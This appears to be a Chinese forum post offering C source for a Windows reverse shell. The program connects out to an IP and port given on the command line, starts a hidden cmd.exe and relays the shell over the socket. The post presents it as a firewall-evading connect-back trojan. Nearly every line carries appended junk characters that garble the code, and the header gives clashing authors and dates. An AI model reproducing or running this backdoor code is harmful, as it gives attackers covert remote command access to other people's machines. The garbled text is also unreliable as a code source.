这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k)4
3dXyKi
/* ============================== )
~X\W\
Rebound port in Windows NT pmfyvkLS
By wind,2006/7 FX\ -Y$K
===============================*/ m@OgT<E]_
#include c" yf>0
#include >zXw4=J
V]IS(U(
#pragma comment(lib,"wsock32.lib") ndN8eh:OR
B6,"S5@
void OutputShell(); 9v^MZ^Y{
SOCKET sClient; dw'%1g.113
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
>hHn{3y
2OEOb,`
void main(int argc,char **argv) JrO2"S
{ O GSJR`yT
WSADATA stWsaData; &FGz53fd4
int nRet; X|X6^}
SOCKADDR_IN stSaiClient,stSaiServer; o: TO[
V"gnG](2l
if(argc != 3) &AC-?R|Dp
{ xEGI'lt
printf("Useage:\n\rRebound DestIP DestPort\n"); w<5w?nP+Oh
return; 7|\[ipVX:3
} `XQM)A
,_p_p^Ar\4
WSAStartup(MAKEWORD(2,2),&stWsaData); ]ZZ7j
zf#V89!]C"
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j&ddpS(s
4u A;--j
stSaiClient.sin_family = AF_INET; ?mnwD ]u
stSaiClient.sin_port = htons(0); $KKrl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \#
?$9C[Kw`
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) co#%~KqMu
{ Z{&PKS
printf("Bind Socket Failed!\n"); ^BW V6
return; J7$5<
} Ry tQNwv3
qd"*Td
stSaiServer.sin_family = AF_INET; }wz )"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zS]Yd9;X1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B$aboL2
KD=T04v
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J %URg=r
{ az\;D\\
printf("Connect Error!"); V\^?V|
return; 19h8p>Sx0
} gQ h;4v
OutputShell(); [[ HXOPaV
} \%f4)Qb
27}k63 \
void OutputShell() yin"+&<T
{ }B^KV#_{S
char szBuff[1024]; sLPFeibof5
SECURITY_ATTRIBUTES stSecurityAttributes; {^5r5GB=*
OSVERSIONINFO stOsversionInfo; CZt)Q4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >i-cR4=LL{
STARTUPINFO stStartupInfo; Ggsfr;m\`
char *szShell; q#F;GD
PROCESS_INFORMATION stProcessInformation; D O(FG-R
unsigned long lBytesRead; =D<46T=(RB
1vu=2|QN
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZmU S}
hI]KT a
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P*Uu)mG)G
stSecurityAttributes.lpSecurityDescriptor = 0; |&o%c/
stSecurityAttributes.bInheritHandle = TRUE; {])F%Q_#cD
mq do@
tNoo3&
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OANn!nZ.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P.=&:ay7?
JEGcZeq)
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Wl?*AlFlk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AS'a'x>8>,
stStartupInfo.wShowWindow = SW_HIDE; RV.*_FG
stStartupInfo.hStdInput = hReadPipe; 6uOR0L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xLP yV&j-
k5P&F
GetVersionEx(&stOsversionInfo); 48Z{wV,
W1i Kn
switch(stOsversionInfo.dwPlatformId) IX,/ZOZ|
{ <$K%u?
case 1: fOF02WP^
szShell = "command.com"; 1Hp0,R}
break; #92:h6
default: 1ki##v[ W8
szShell = "cmd.exe"; (Rve<n6{A
break; ; P&Ka
} W:ih#YW_F
/|bir6Y:
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "n=`{~F
xzbyar<
send(sClient,szMsg,77,0); ZOi8)Y~
while(1) |JtdCP{
{ FU E/uh
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [j`It4^nC
if(lBytesRead) ZjF$zVk
{ ~ucOQVmz@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .yd{7Te
send(sClient,szBuff,lBytesRead,0); 80x
%wCY`
} 3 8m5&5)1F
else Y, )'0O
{ nxA Y]Q
lBytesRead=recv(sClient,szBuff,1024,0); Z;P[)q
if(lBytesRead<=0) break; /#GX4&z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'RC(ss1G
} =;9Wh!{
} Y7zg
Nc,"wA
return; 2kp.Ljt@
}